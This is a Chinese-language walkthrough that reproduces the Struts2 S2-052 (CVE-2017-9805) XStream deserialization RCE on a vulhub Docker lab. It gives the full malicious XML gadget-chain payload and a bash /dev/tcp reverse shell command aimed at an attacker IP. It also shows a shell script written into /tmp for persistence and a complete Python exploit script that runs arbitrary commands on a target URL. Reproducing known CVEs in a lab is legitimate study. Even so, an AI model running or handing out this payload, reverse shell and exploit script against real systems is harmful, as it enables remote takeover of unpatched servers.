影响范围

  • Struts 2.1.2 - 2.3.33
  • Struts 2.5 - 2.5.12

漏洞类型

XML 反序列化

操作系统限制

无

配置要求

默认配置

漏洞利用

写入敏感文件,反弹 shell 获取服务器权限

利用原理

Struts2 框架对外部组件 XStream 插件默认使用 XStream 处理 XML 格式数据,可以将几乎任何 XML 标签映射为 Java 对象,攻击者在 Java 运行库寻找可以执行系统命令的类,由于 XStream 没有限制,攻击者可以构造特殊的 XML,包含触发点、执行链、敏感命令

漏洞复现

用现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/struts2/s2-052
#拉取镜像
docker-compose up -d

1773318334045

访问 http://公网: 8080/orders

1773318367866

用 burpsuite 抓取 http://公网: 8080/orders/3/edit 数据包

1773318416813

发送到 Repeater 模块

1773318465536

注入恶意 XML 代码,修改请求头,然后发送

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#请求头改Content-Type: application/xml
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/ailx10</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

1773318516585

返回 500,说明 xml 代码成功发送到服务器

1773318595160

进入容器内部查看 tmp 文件夹下的文件,发现能成功写入文件 ailx10,说明 xml 恶意代码被执行

1773318637744

攻击机开启监听

1773318680201

wget 下载攻击脚本,python3 直接写入下面的兼容代码

1
2
#从gitub拉取脚本,脚本用python2运行
wget https://raw.githubusercontent.com/chrisjd20/cve-2017-9805.py/master/cve-2017-9805.py

运行脚本,这里环境是 python3,即用 python3 演示,参数是一样的

1
python3 cve-2017-9805_py3.py -u http://靶机ip:8080/orders/3 -c "bash -i >& /dev/tcp/攻击机ip/监听端口 0>&1"

1773318733290

虽然能连上,但是不稳定

1773318791674

可以写入 sh 脚本进靶机,再连接

1
2
3
4
5
6
#写入sh脚本
printf 'bash -i >& /dev/tcp/攻击机ip/监听端口 0>&1' > /tmp/shell.sh
#给sh脚本赋权,可执行
chmod +x /tmp/shell.sh
#运行反弹shell脚本
/bin/bash /tmp/shell.sh

1773318935215

成功建立持久化连接

1773318862330

攻击脚本(https://github.com/chrisjd20/cve-2017-9805.py/blob/master/cve-2017-9805.py)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#python3兼容脚本,cve-2017-9805.py
#!/usr/bin/env python3
import requests
import argparse
import base64
import sys
import random
import re
from xml.dom.minidom import parseString

random_string = lambda num: ''.join(random.choice("QWERTYUIOPASDFGHJKLXZCVBNMqwertyuiopasdfghjklzxcvbnm1234567890") for _ in range(num))

# iterates over the elements in the template XML object and replaces with desired commands
def get_item_list(itemlist, encoded_command, the_match):
for item in itemlist:
for item2 in item.childNodes:
if item2.nodeValue == the_match:
item2.nodeValue = encoded_command

def main(url, command):
filename = "." + random_string(20) + '.tmp'
print('[+] Encoding Command')

# Python 3 base64 logic: encode string to bytes, then b64encode, then back to string
b64_command = base64.b64encode(command.encode('utf-8')).decode('utf-8')

# Construct the shell command that will be placed inside XML
# Using tee -a to write the decoded command to a file, then execute it
encoded_command = f'echo {b64_command} | base64 -d | tee -a /tmp/{filename} ; /bin/bash /tmp/{filename} ; /bin/rm /tmp/{filename}'

print('[+] Building XML object')
# The XML payload (ImageIO exploit chain)
payload_xml = (
'<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags>'
'<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">'
'<dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">'
'<is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher">'
'<initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator">'
'<iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/>'
'<next class="java.lang.ProcessBuilder"><command><string>/bin/bash</string><string>-c</string>'
'<string>COMMANDWILLGOHERE</string></command><redirectErrorStream>false</redirectErrorStream></next></iter>'
'<filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class>'
'<name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next>'
'</serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/>'
'<ibuffer/><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is>'
'<consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value>'
'</jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>'
'</entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>'
'<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>'
)

xml_exploit = parseString(payload_xml)
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
'Content-Type': 'application/xml'
}

itemlist = xml_exploit.getElementsByTagName('string')
print('[+] Placing command in XML object')
get_item_list(itemlist, encoded_command, "COMMANDWILLGOHERE")

print('[+] Converting Back to String')
# Convert back to bytes for the request
exploit_data = xml_exploit.toxml(encoding='utf-8')

print('[+] Making Post Request with our payload')
try:
response = requests.post(url, data=exploit_data, headers=header, timeout=15)
print(f'[+] Server returned status code: {response.status_code}')
print('[+] Payload sent.')
except Exception as e:
print(f'[-] Error: {e}')

if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2017-9805 Struts RCE Exploit")
parser.add_argument('-u', '--url', type=str, required=True, help='Target URL (e.g. http://ip:8080/orders/3)')
parser.add_argument('-c', '--command', type=str, required=True, help='Command to execute')

args = parser.parse_args()
main(args.url, args.command)